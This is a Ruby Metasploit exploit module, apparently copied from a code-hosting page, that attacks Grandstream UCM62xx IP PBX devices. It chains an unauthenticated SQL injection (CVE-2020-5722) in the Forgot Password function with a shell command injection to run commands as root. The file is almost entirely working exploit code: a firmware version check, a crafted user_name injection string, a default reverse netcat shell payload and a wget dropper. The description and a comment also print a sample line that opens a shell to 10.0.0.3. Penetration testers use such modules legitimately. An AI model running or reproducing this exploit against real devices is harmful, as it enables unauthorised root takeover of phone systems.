184 lines
6.8 KiB
Ruby
184 lines
6.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Grandstream UCM62xx IP PBX sendPasswordEmail RCE',
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and
|
|
a command injection vulnerability (technically, no assigned CVE but was inadvertently
|
|
patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX
|
|
series of devices. The vulnerabilities allow an unauthenticated remote attacker to
|
|
execute commands as root.
|
|
|
|
Exploitation happens in two stages:
|
|
|
|
1. An SQL injection during username lookup while executing the "Forgot Password" function.
|
|
2. A command injection that occurs after the user provided username is passed to a Python script
|
|
via the shell. Like so:
|
|
|
|
/bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
|
|
password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
|
|
|
|
This module affect UCM62xx versions before firmware version 1.0.19.20.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'jbaines-r7' # Vulnerability discovery, original exploit, and Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2020-5722' ],
|
|
[ 'EDB', '48247']
|
|
],
|
|
'DisclosureDate' => '2020-03-23',
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => [ARCH_CMD, ARCH_ARMLE],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'Payload' => {
|
|
'DisableNops' => true,
|
|
'BadChars' => '\'&|'
|
|
},
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_ARMLE],
|
|
'Type' => :linux_dropper,
|
|
'CmdStagerFlavor' => [ 'wget' ]
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 1,
|
|
'DefaultOptions' => {
|
|
'RPORT' => 8089,
|
|
'SSL' => true
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
|
])
|
|
end
|
|
|
|
##
|
|
# Sends a POST /cgi request with a payload of action=getInfo. The
|
|
# server should respond with a large json blob like the following,
|
|
# where "prog_version" is he firmware version:
|
|
#
|
|
# {"response"=>{
|
|
# "model_name"=>"UCM6202", "description"=>"IPPBX Appliance",
|
|
# "device_name"=>"", "logo"=>"images/h_logo.png", "logo_url"=>"http://www.grandstream.com/",
|
|
# "copyright"=>"Copyright \u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.",
|
|
# "num_fxo"=>"2", "num_fxs"=>"2", "num_pri"=>"0", "num_eth"=>"2", "allow_nat"=>"1",
|
|
# "svip_type"=>"4", "net_mode"=>"0", "prog_version"=>"1.0.18.13", "country"=>"US",
|
|
# "support_openvpn"=>"1", "enable_openvpn"=>"0", "enable_webrtc_openvpn"=>"0",
|
|
# "support_webrtc_cloud"=>"0"}, "status"=>0}
|
|
###
|
|
def check
|
|
normalized_uri = normalize_uri(target_uri.path, '/cgi')
|
|
vprint_status("Requesting version information from #{normalized_uri}")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalized_uri,
|
|
'vars_post' => { 'action' => 'getInfo' }
|
|
})
|
|
|
|
return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200
|
|
|
|
body_json = res.get_json_document
|
|
return CheckCode::Unknown('No JSON in response') unless body_json
|
|
|
|
prog_version = body_json.dig('response', 'prog_version')
|
|
return false if prog_version.nil?
|
|
|
|
vprint_status("The reported version is: #{prog_version}")
|
|
|
|
version = Rex::Version.new(prog_version)
|
|
if version < Rex::Version.new('1.0.19.20')
|
|
return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")
|
|
end
|
|
|
|
return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")
|
|
end
|
|
|
|
##
|
|
# Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection
|
|
# and then it will get passed to a python script via sh which allows us to execute a command injection.
|
|
# It will look something like this:
|
|
#
|
|
# /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
|
|
# password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
|
|
#
|
|
# This functionality is related to the"Forgot Password" feature. This function is rate limited by
|
|
# the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few
|
|
# payloads are appropriate.
|
|
###
|
|
def execute_command(cmd, _opts = {})
|
|
rand_num = Rex::Text.rand_text_numeric(1..5)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/cgi'),
|
|
'vars_post' =>
|
|
{
|
|
'action' => 'sendPasswordEmail',
|
|
'user_name' => "' or #{rand_num}=#{rand_num}--`;`#{cmd}`;`"
|
|
}
|
|
}, 5)
|
|
|
|
# the netcat reverse shell payload holds the connection open. So we'll treat no response
|
|
# as a success. The meterpreter payload does not hold the connection open so this clause digs
|
|
# deeper to ensure it succeeded. The server will respond with a non-0 status if the payload
|
|
# generates an error (e.g. rate limit error)
|
|
if res
|
|
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200
|
|
|
|
body_json = res.get_json_document
|
|
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
|
|
|
|
status_json = body_json['status']
|
|
fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
|
|
fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
|
|
end
|
|
|
|
print_good('Exploit successfully executed.')
|
|
end
|
|
|
|
def exploit
|
|
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
|
case target['Type']
|
|
when :unix_cmd
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
end
|